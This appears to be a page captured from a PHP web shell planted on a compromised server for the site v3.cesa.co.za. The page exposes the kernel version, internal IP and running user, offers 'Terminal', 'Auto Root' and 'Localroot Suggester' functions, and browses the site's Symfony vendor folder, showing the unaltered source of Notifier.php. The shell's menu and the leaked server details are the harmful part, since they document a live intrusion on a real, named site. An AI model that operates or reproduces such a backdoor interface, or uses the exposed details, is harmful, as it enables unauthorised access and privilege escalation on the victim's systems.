Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
notifier /
Delete
Unzip
Name
Size
Permission
Date
Action
Channel
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DataCollector
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Event
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
EventListener
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Exception
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
FlashMessage
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Message
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Messenger
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Notification
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Recipient
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Test
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Transport
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
CHANGELOG.md
2.6
KB
-rwxrwxr-x
2026-02-18 07:27
Chatter.php
1.6
KB
-rwxrwxr-x
2026-02-18 07:27
ChatterInterface.php
546
B
-rwxrwxr-x
2026-02-18 07:27
LICENSE
1.04
KB
-rwxrwxr-x
2026-02-18 07:27
Notifier.php
4.12
KB
-rwxrwxr-x
2026-02-18 07:27
NotifierInterface.php
622
B
-rwxrwxr-x
2026-02-18 07:27
README.md
594
B
-rwxrwxr-x
2026-02-18 07:27
Texter.php
1.6
KB
-rwxrwxr-x
2026-02-18 07:27
TexterInterface.php
544
B
-rwxrwxr-x
2026-02-18 07:27
Transport.php
7.5
KB
-rwxrwxr-x
2026-02-18 07:27
composer.json
1.27
KB
-rwxrwxr-x
2026-02-18 07:27
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Notifier; use Psr\Container\ContainerInterface; use Symfony\Component\Notifier\Channel\ChannelInterface; use Symfony\Component\Notifier\Channel\ChannelPolicy; use Symfony\Component\Notifier\Channel\ChannelPolicyInterface; use Symfony\Component\Notifier\Channel\SmsChannel; use Symfony\Component\Notifier\Exception\LogicException; use Symfony\Component\Notifier\Notification\Notification; use Symfony\Component\Notifier\Recipient\NoRecipient; use Symfony\Component\Notifier\Recipient\RecipientInterface; /** * @author Fabien Potencier <fabien@symfony.com> */ final class Notifier implements NotifierInterface { private array $adminRecipients = []; private array|ContainerInterface $channels; private ?ChannelPolicyInterface $policy; /** * @param ChannelInterface[]|ContainerInterface $channels */ public function __construct(array|ContainerInterface $channels, ?ChannelPolicyInterface $policy = null) { $this->channels = $channels; $this->policy = $policy; } public function send(Notification $notification, RecipientInterface ...$recipients): void { if (!$recipients) { $recipients = [new NoRecipient()]; } foreach ($recipients as $recipient) { foreach ($this->getChannels($notification, $recipient) as $channel => $transportName) { $channel->notify($notification, $recipient, $transportName); } } } public function addAdminRecipient(RecipientInterface $recipient): void { $this->adminRecipients[] = $recipient; } /** * @return RecipientInterface[] */ public function getAdminRecipients(): array { return $this->adminRecipients; } /** * @return iterable<ChannelInterface, string|null> */ private function getChannels(Notification $notification, RecipientInterface $recipient): iterable { $channels = $notification->getChannels($recipient); if (!$channels) { $errorPrefix = \sprintf('Unable to determine which channels to use to send the "%s" notification', $notification::class); $error = 'you should either pass channels in the constructor, override its "getChannels()" method'; if (null === $this->policy) { throw new LogicException(\sprintf('%s; %s, or configure a "%s".', $errorPrefix, $error, ChannelPolicy::class)); } if (!$channels = $this->policy->getChannels($notification->getImportance())) { throw new LogicException(\sprintf('%s; the "%s" returns no channels for importance "%s"; %s.', $errorPrefix, ChannelPolicy::class, $notification->getImportance(), $error)); } } foreach ($channels as $channelName) { $transportName = null; if (false !== $pos = strpos($channelName, '/')) { $transportName = substr($channelName, $pos + 1); $channelName = substr($channelName, 0, $pos); } if (null === $channel = $this->getChannel($channelName)) { throw new LogicException(\sprintf('The "%s" channel does not exist.', $channelName)); } if ($channel instanceof SmsChannel && $recipient instanceof NoRecipient) { throw new LogicException(\sprintf('The "%s" channel needs a Recipient.', $channelName)); } if (!$channel->supports($notification, $recipient)) { throw new LogicException(\sprintf('The "%s" channel is not supported.', $channelName)); } yield $channel => $transportName; } } private function getChannel(string $name): ?ChannelInterface { if ($this->channels instanceof ContainerInterface) { return $this->channels->has($name) ? $this->channels->get($name) : null; } return $this->channels[$name] ?? null; } }